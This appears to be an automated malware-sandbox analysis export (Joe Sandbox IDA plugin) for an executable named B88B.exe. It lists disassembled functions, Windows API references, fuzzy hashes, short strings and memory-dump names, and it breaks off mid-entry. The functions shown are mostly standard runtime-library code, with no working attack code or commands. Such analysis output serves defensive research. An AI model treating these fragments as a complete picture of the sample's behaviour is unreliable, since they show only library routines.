Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID: 3/
API String ID: 1740715915-2584162468
Opcode ID: 5e40fba69b727204de75c38b73fa381cb70b6a282736d94ffa46d7fa3eda5d70
Instruction ID: 63982f114d44f6f398549563f2f598d3afac2d931290ca8a678b0a4387b167b5
Opcode Fuzzy Hash: 5e40fba69b727204de75c38b73fa381cb70b6a282736d94ffa46d7fa3eda5d70
Instruction Fuzzy Hash: C851E2B2609202AFDB2F8F54D851BEAB7A5EF0C314F158129ED015B691EF31ACD1C798

Uniqueness

Uniqueness Score: -1.00%

Function 0032989E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 132fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0032996E
_free.LIBCMT ref: 00329997
SetEndOfFile.KERNEL32(00000000,003252DA,00000000,00325571,?,?,?,?,?,?,?,003252DA,00325571,00000000), ref: 003299C9
GetLastError.KERNEL32(?,?,?,?,?,?,?,003252DA,00325571,00000000,?,?,?,?,00000000), ref: 003299E5

Strings

qU2, xrefs: 003298B2

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID: qU2
API String ID: 1547350101-2775131108
Opcode ID: 0c15f6c4c2812f5020679b8c4698e255fef4b82388adb0120dacb29bf4b36e1b
Instruction ID: 052e05708a9ec9380888c2e71c314956a943ea75ef8a8baf5dd9dcce20941086
Opcode Fuzzy Hash: 0c15f6c4c2812f5020679b8c4698e255fef4b82388adb0120dacb29bf4b36e1b
Instruction Fuzzy Hash: 4D410672900610ABDB176BB8EC42BDE7769BF49370F15012AF468EB191EB30DCC18721

Uniqueness

Uniqueness Score: -1.00%

Function 0030676C Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 0030677F

Strings

3/, xrefs: 003067E2

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID: 3/
API String ID: 3433162309-2584162468
Opcode ID: 0f5dae10bf728d333567bd3de7a9ced2871d09455e911ad41ea2463df39414bd
Instruction ID: b600955648d104275075e231ddb09852ef233f2d3c719a47b5ccae43d1968de0
Opcode Fuzzy Hash: 0f5dae10bf728d333567bd3de7a9ced2871d09455e911ad41ea2463df39414bd
Instruction Fuzzy Hash: C5317A75A01319DFCF12DF94C8E1BAE7BB9BF44300F1440AAD945AB28AD770E954CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00302756 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0030275D
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00302787

Part of subcall function 00302E4D: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00302E6A

Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 00302804
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00302836

Strings

3/, xrefs: 00302848

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter
String ID: 3/
API String ID: 1207923566-2584162468
Opcode ID: 152d671ca4bd16d264e214d4fa9c6194c2b78dd9e6aeb44b0040ba7e41569e3b
Instruction ID: c3f4dba77e3bae81a61f10fc0eaa932172ea068515c8a71a8443d81402240996
Opcode Fuzzy Hash: 152d671ca4bd16d264e214d4fa9c6194c2b78dd9e6aeb44b0040ba7e41569e3b
Instruction Fuzzy Hash: BD318F75A012158BDF16DFA8C8656AFB7B4AF49310F25406EE405FB381DB349D01CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 003218B4 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\B88B.exe, xrefs: 003218B9

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\B88B.exe
API String ID: 0-1373352849
Opcode ID: 8df98d3a1abb6c6b75bcc7babf98706ac33870598da4a438bf35470787e59998
Instruction ID: d458c5e3c8a6bc0dd44080b909d22dfc1660db685be003ec32ace422fb12af1d
Opcode Fuzzy Hash: 8df98d3a1abb6c6b75bcc7babf98706ac33870598da4a438bf35470787e59998
Instruction Fuzzy Hash: 1F21D4B2600225BF9B16AF71ED90DBB776CAF243A4B114624F528DB550E731EC8287A0

Uniqueness

Uniqueness Score: -1.00%

Function 00314509 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80threadCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,00000000,?), ref: 0031455A
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00314542

Part of subcall function 0030C9A0: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 0030C9C1

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 003145BD
SwitchToThread.KERNEL32(00000005,00000004,00000000,?,?,?,?,?,?,?,00343FD0), ref: 003145C2

Strings

3/, xrefs: 0031452D, 003145AA

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Context$Event$Base::Concurrency::details::$Trace$SwitchThreadThrow
String ID: 3/
API String ID: 2734100425-2584162468
Opcode ID: 8a3c3e6a84e54011277d2cdece217665feafc1e2183e94f97ba445ba1f0903fc
Instruction ID: ec2d412f51b173582abe93ab9e1c05e53684458e7b8ac7c8344024e2f5dbf712
Opcode Fuzzy Hash: 8a3c3e6a84e54011277d2cdece217665feafc1e2183e94f97ba445ba1f0903fc
Instruction Fuzzy Hash: 17210B75700214AFCB05EB54DC85DAEB7BDEF88720F110115F606A72D1CB70BD418BA5

Uniqueness

Uniqueness Score: -1.00%

Function 0031ABD8 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 0031AC1A

Strings

.bat, xrefs: 0031AC49
.cmd, xrefs: 0031AC38
.com, xrefs: 0031AC5A
.exe, xrefs: 0031AC27

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 8b6bb38c1f7b6d0d0c68bae3eede9ff029d9879c0a7bddb61c6a9dea35e0cc19
Instruction ID: 47fb668adb57e1883134b237288a1caec95315d467fdc6ecfc8256c0a0c095f3
Opcode Fuzzy Hash: 8b6bb38c1f7b6d0d0c68bae3eede9ff029d9879c0a7bddb61c6a9dea35e0cc19
Instruction Fuzzy Hash: 11012B3B645E263B161F5118AD436EA1798CBC9BB1B27002AF854FB2C1DE44DCC201D6

Uniqueness

Uniqueness Score: -1.00%

Function 0031E7D3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0031A389,?,?,?,?,0031AFBD,?), ref: 0031E7D8
_free.LIBCMT ref: 0031E835
_free.LIBCMT ref: 0031E86B
SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,0031A389,?,?,?,?,0031AFBD,?), ref: 0031E876

Strings

xa4, xrefs: 0031E85E

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID: xa4
API String ID: 2283115069-4176563881
Opcode ID: 59c01625f24b43df026bceea50316916fec39827de5c012de8076882f4845735
Instruction ID: 788e9d417bab09e6f7710e4e1dedd3d6ab291c12dd120e4be73ea5ba48a38e1f
Opcode Fuzzy Hash: 59c01625f24b43df026bceea50316916fec39827de5c012de8076882f4845735
Instruction Fuzzy Hash: 3A11CA766047017ED71B2BB4AC86DAA216D9FCAB72B250224FE349A1E1ED239C815111

Uniqueness

Uniqueness Score: -1.00%

Function 0031E92A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 69COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,0031AF57,002E2307), ref: 0031E92F
_free.LIBCMT ref: 0031E98C
_free.LIBCMT ref: 0031E9C2
SetLastError.KERNEL32(00000000,00000006,000000FF,?,0031AF57,002E2307), ref: 0031E9CD

Strings

xa4, xrefs: 0031E9B5

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: ErrorLast_free
String ID: xa4
API String ID: 2283115069-4176563881
Opcode ID: b44815a300e6787f687d4e8eac402138cdeec5f18ddb0fecbda8df019c64f157
Instruction ID: ed268c2dd8bab423f15d471609e072114740adaa5dc73790b78babbd4a04925b
Opcode Fuzzy Hash: b44815a300e6787f687d4e8eac402138cdeec5f18ddb0fecbda8df019c64f157
Instruction Fuzzy Hash: 4711E5722046012ED75B27B4AC82DAB266DAFCA776B250235FE249B1E2DF379C854111

Uniqueness

Uniqueness Score: -1.00%

Function 00319A27 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

Strings

api-ms-, xrefs: 00319A77

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID:
String ID: api-ms-
API String ID: 0-2084034818
Opcode ID: 2e4415046e72892c487b1b52b6f97ce5d84be81e4068f6b3173277bdfe4afc27
Instruction ID: eceff2ccc6b3090ccabe5df708b79f743ea661459f15c9a7a3286905946acedb
Opcode Fuzzy Hash: 2e4415046e72892c487b1b52b6f97ce5d84be81e4068f6b3173277bdfe4afc27
Instruction Fuzzy Hash: 2111B971E01221AFCB2B8B699C94BDB775CAF09760F160512EC16AB290D630ED48C6E0

Uniqueness

Uniqueness Score: -1.00%

Function 00315B05 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

StructuredWorkStealingQueue.LIBCMT ref: 00315B25
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00315B36
StructuredWorkStealingQueue.LIBCMT ref: 00315B6C
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00315B7D

Strings

e, xrefs: 00315B47

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: Work$Concurrency::details::ItemItem::QueueStealingStructured
String ID: e
API String ID: 3804418703-4024072794
Opcode ID: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction ID: f4877c8ccea7e8e9f084bb43d938e3141989c6140228f3df6f291451e73c491c
Opcode Fuzzy Hash: 1b6716c63c17d6c6149872910042524b7f9ebb3f5e3c7538eb01a51a2faaeb53
Instruction Fuzzy Hash: C911A731108905DBDB5EDF69C841AEE77A99F8A360B24C169E8068F242DB71DD81CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00300C0E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

SleepConditionVariableCS.KERNELBASE(?,00300BAB,00000064), ref: 00300C31
LeaveCriticalSection.KERNEL32(00349790,0034A6C8,?,00300BAB,00000064,?,74DF0F00,?,002E6EED,0034A6C8), ref: 00300C3B
WaitForSingleObjectEx.KERNEL32(0034A6C8,00000000,?,00300BAB,00000064,?,74DF0F00,?,002E6EED,0034A6C8), ref: 00300C4C
EnterCriticalSection.KERNEL32(00349790,?,00300BAB,00000064,?,74DF0F00,?,002E6EED,0034A6C8), ref: 00300C53

Strings

3/, xrefs: 00300C2B

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: CriticalSection$ConditionEnterLeaveObjectSingleSleepVariableWait
String ID: 3/
API String ID: 3269011525-2584162468
Opcode ID: 079518b00371f485a3655018f4adffbbd7976d92c5204a562955fb36a6a37a27
Instruction ID: fd34c401ecc5dedf20c3dfb4ce096c5163f32aba73586777507708829a2125dc
Opcode Fuzzy Hash: 079518b00371f485a3655018f4adffbbd7976d92c5204a562955fb36a6a37a27
Instruction Fuzzy Hash: 75E01235961624BBDB035F90EC48BCB3F5CEB45B51F050052F90A6A160CB6578509BD4

Uniqueness

Uniqueness Score: -1.00%

Function 0031A910 Relevance: 7.6, APIs: 5, Instructions: 141pipeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetFileType.KERNEL32(?,?,00000000,00000000), ref: 0031A932
GetFileInformationByHandle.KERNEL32(?,?), ref: 0031A98C
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,0031A842,?,000000FF), ref: 0031AA1A
__dosmaperr.LIBCMT ref: 0031AA21
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 0031AA5E

Part of subcall function 0031AC86: __dosmaperr.LIBCMT ref: 0031ACBB

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: File__dosmaperr$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 1206951868-0
Opcode ID: 3bdc4cb22c109704c7da5f3bb4e63e9c59cb8f6b4cb7ef15c23bca230688b2c6
Instruction ID: 84b0baa0ca14d9b315b95276fab6306773697d6ff4c2550a6d635faa02e77ed8
Opcode Fuzzy Hash: 3bdc4cb22c109704c7da5f3bb4e63e9c59cb8f6b4cb7ef15c23bca230688b2c6
Instruction Fuzzy Hash: 23416D75901604AFDB2ADFA5DD459EFBBF9EF8C301B008529F456D7610E730A980CB21

Uniqueness

Uniqueness Score: -1.00%

Function 0032290B Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00322923

Part of subcall function 0031E175: HeapFree.KERNEL32(00000000,00000000,?,0032299E,?,00000000,?,?,?,003229C5,?,00000007,?,?,00322DC7,?), ref: 0031E18B
Part of subcall function 0031E175: GetLastError.KERNEL32(?,?,0032299E,?,00000000,?,?,?,003229C5,?,00000007,?,?,00322DC7,?,?), ref: 0031E19D

_free.LIBCMT ref: 00322935
_free.LIBCMT ref: 00322947
_free.LIBCMT ref: 00322959
_free.LIBCMT ref: 0032296B

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 522c8a5251a1b8b6b098e9f83c282f0776487d6250c3411aae2ee7bb78eaf691
Instruction ID: a53cb44da908e26eecf0653b77795d1fc3378f47e6e8ecb899faee66e153330a
Opcode Fuzzy Hash: 522c8a5251a1b8b6b098e9f83c282f0776487d6250c3411aae2ee7bb78eaf691
Instruction Fuzzy Hash: 2CF04936904250BBC627EF68F982C5A77EDEB46B20B650809F808DB520CB31FCD08A60

Uniqueness

Uniqueness Score: -1.00%

Function 002EA960 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251synchronizationCOMMON

Download Yara Rule

APIs

CreateMutexA.KERNEL32(00000000,00000000,00347250), ref: 002EA978
GetLastError.KERNEL32 ref: 002EA97E

Strings

Pr4, xrefs: 002EA967

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: CreateErrorLastMutex
String ID: Pr4
API String ID: 1925916568-2940213347
Opcode ID: d7ba088adeffdcee5f93970491558d1bf5301771b1ed720b8ad2be92b5c949d9
Instruction ID: 3ea1cc82b06df26ff3c22187bb5cc024aacb1087d9f4b8508b02163e3a9606df
Opcode Fuzzy Hash: d7ba088adeffdcee5f93970491558d1bf5301771b1ed720b8ad2be92b5c949d9
Instruction Fuzzy Hash: E9913870E10248DBEB15EF69DD4579EBBB6EB41304F604168E409AB3C2DB746A44CF92

Uniqueness

Uniqueness Score: -1.00%

Function 003284E4 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 199COMMON

Download Yara Rule

APIs

__freea.LIBCMT ref: 0032869A

Part of subcall function 0031E3CB: HeapAlloc.KERNEL32(00000000,?,?,?,00321DBE,00000220,?,?,?,?,?,?,0031AFBD,?), ref: 0031E3FD

__freea.LIBCMT ref: 003286A3
__freea.LIBCMT ref: 003286C6

Strings

+ 2, xrefs: 003284F6

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309066469.0000000000334000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309768317.0000000000346000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309850316.0000000000348000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309886218.0000000000349000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000F.00000002.2309923969.000000000034B000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_2e0000_B88B.jbxd

Yara matches

Similarity

API ID: __freea$AllocHeap
String ID: + 2
API String ID: 85559729-2517239089
Opcode ID: 2ffde1e17403ce773464236bccdf6264c0774086b523704fbe8a52d5aae2e24e
Instruction ID: 7762be751f42db571fe801f4f07ae8b1db7a621092e331b43cb8c45ecb5fb59e
Opcode Fuzzy Hash: 2ffde1e17403ce773464236bccdf6264c0774086b523704fbe8a52d5aae2e24e
Instruction Fuzzy Hash: 2751F472601226AFEF269F55EC41EFB37A9EF45750F2A0529FE04AB140DF34DC5186A0

Uniqueness

Uniqueness Score: -1.00%

Function 003190CB Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 003190F0
CatchIt.LIBVCRUNTIME ref: 003191D6

Strings

RCC, xrefs: 0031910A
MOC, xrefs: 00319102

Memory Dump Source

Source File: 0000000F.00000002.2308996702.00000000002E1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000F.00000002.2308261482.00000000002E0000.00000002.00000001.01000000.0000000A.sdmpDownload File
